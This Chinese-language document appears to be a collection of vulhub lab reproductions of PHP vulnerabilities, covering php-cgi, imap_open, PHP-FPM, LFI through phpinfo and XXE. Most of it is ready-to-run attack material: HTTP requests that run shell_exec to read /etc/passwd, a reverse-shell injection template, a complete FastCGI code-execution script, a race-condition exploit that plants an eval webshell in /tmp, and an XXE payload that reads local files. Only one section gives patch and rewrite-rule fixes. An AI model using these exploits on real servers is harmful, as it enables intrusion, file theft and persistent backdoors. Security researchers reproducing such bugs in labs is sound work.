PHP-CGI远程代码执行漏洞(CVE-2012-1823)
一 漏洞描述
用户请求的querystring被作为了php-cgi的参数执行了,RFC3875中规定当querystring中不包含没有解码的=号的情况下要将querystring作为cgi的参数传入,所以Apache服务器按要求实现了这个功能,PHP曾经也处理过就是比较极端即:web上下文中不允许传入参数,但后来由于种种原因又取消了,所以这个漏洞就遗留了下来。
受影响版本
php < 5.3.12 or php < 5.4.2
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/php/CVE-2012-1823]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.193
三 漏洞复现
访问ip:端口
CGI模式
- -c 指定php.ini文件的位置
- -n 不要加载php.ini文件
- -d 指定配置项
- -b 启动fastcgi进程
- -s 显示文件源码
- -T 执行指定次该文件
- -h和-? 显示帮助
利用-s 参数查看源码
利用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:
payload:
input url(-d allow_url_include=on -d auto_prepend_file=php://input)
URL编码 -d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
allow_url_include=on 将allow_url_include打开,使得可以文件包含,可以用伪协议
auto_prepend_file 每次在加载访问的php文件之前,都访问php://input(也就是POST中的参数内容
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
<?php echo shell_exec('cat /etc/passwd');?>
四 修复方案
1.升级php版本;(php-5.3.12以上版本);
2.在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,采用比较多吧。
具体做法:修改http.conf文件,找到增加以下三行
RewriteEngine on
RewriteCond %{QUERY_STRING} (%2d|-)[=]+$ [NC]
RewriteRule ^(.*) $1? [L]
重启一下apache即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加apache的负担。
3.打上php补丁,我个人也比较倾向这一点。
补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
补丁作用:其实就是增加了一个判断,如果是普通的cgi方式,命令行-s等参数就不再处理,遗憾的是验证的时候,补丁和我当时的php版本不一致,所以补丁一直打不上。
后来索性改源码吧,把补丁手动打上,涉及到sapi/cgi/cgi_main.c这个文件。在main函数中,搜索php_getopt用下面这行替换,一共有两处。
if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1)
替换后就是重新编译安装,经我验证完美解决。最后上传cgi_main.c文件,有需要的可以直接下载覆盖。
下载地址:http://files.cnblogs.com/files/virgree/cgi_main.rar
五 参考链接
https://vulhub.org/#/environments/php/CVE-2012-1823/
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
PHP imap 远程命令执行漏洞(CVE-2018-19518)
一 漏洞描述
php imap扩展用于在PHP中执行邮件收发操作。其imap_open
函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
受影响版本
- Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html
- Debian https://security-tracker.debian.org/tracker/CVE-2018-19518
- Red Hat https://access.redhat.com/security/cve/cve-2018-19518
- SUSE https://www.suse.com/security/cve/CVE-2018-19518/
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/php/CVE-2018-19518]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
抓包进行修改
POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
编写反弹shell
hostname=x+-oProxyCommand%3decho%09 XXXXXXXXX下面指令的64为编码XXXXXXXXX|base64%09-d|sh}&username=111&password=222
这里未反弹成功
四 参考链接
www.likecs.com/show-306198709.html
https://blog.csdn.net/weixin_45605352/article/details/116517889
PHP-FPM Remote Command Execution (CVE-2019-11043)
一 漏洞描述
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
该漏洞需要在nginx.conf中进行特定配置才能触发
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info
指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
影响版本
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
vulhub-master/php/CVE-2019-11043]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
下载漏洞利用工具
链接:https://github.com/neex/phuip-fpizdam
/phuip-fpizdam-master]
└─# go env -w GOPROXY=https://goproxy.cn
go get -v && go build
漏洞利用
go run . "http://192.168.1.240:8080/index.php"
curl ip.sb为Linux中查询公网IP的命令
四 参考链接
https://blog.csdn.net/m0_51468027/article/details/122903963
PHP-FPM Remote Command Execution (CVE-2019-11043)
一 漏洞描述
PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/php/fpm]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
poc:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
poc.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
python poc.py 192.168.1.240 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; ?>'
四 参考链接
https://blog.csdn.net/m0_51468027/article/details/122903963
https://blog.csdn.net/zy15667076526/article/details/111824760
PHP文件包含漏洞(利用phpinfo)
一 漏洞描述
PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
利用方法简述
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]
),文件名可以在$_FILES
变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES
变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/php/inclusion]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
启动环境后,发现可以访问phpinfo.php,再次访问file=?/ect/passwd,发现存在文件包含漏洞
利用环境自带脚本exp.py,发现把eval写入tmp目录下
执行exp (python2)
exp:
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
python2 exp.py 192.168.1.124 8080 100
访问网址http://192.168.1.240:8080/lfi.php?file=/tmp/g&1=system(%27id%27);
LFI
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。同时借助此漏洞也可以查看服务器上的一些重要文件。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限
四 参考链接
https://blog.csdn.net/zy15667076526/article/details/111824806
https://www.cnblogs.com/xiaoqiyue/p/10158702.html
PHP环境 XML外部实体注入漏洞(XXE)
一 漏洞描述
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡,这里用libxml2.8.0版本编译进PHP中来复现。
受影响版本
- PHP 7.0.30
- libxml 2.8.0
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/php/php_xxe]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
Web目录为./www
,其中包含4个文件:
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞
抓包注入
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
四 参考链接
https://blog.csdn.net/EC_Carrot/article/details/118900314
https://vulhub.org/#/environments/php/php_xxe/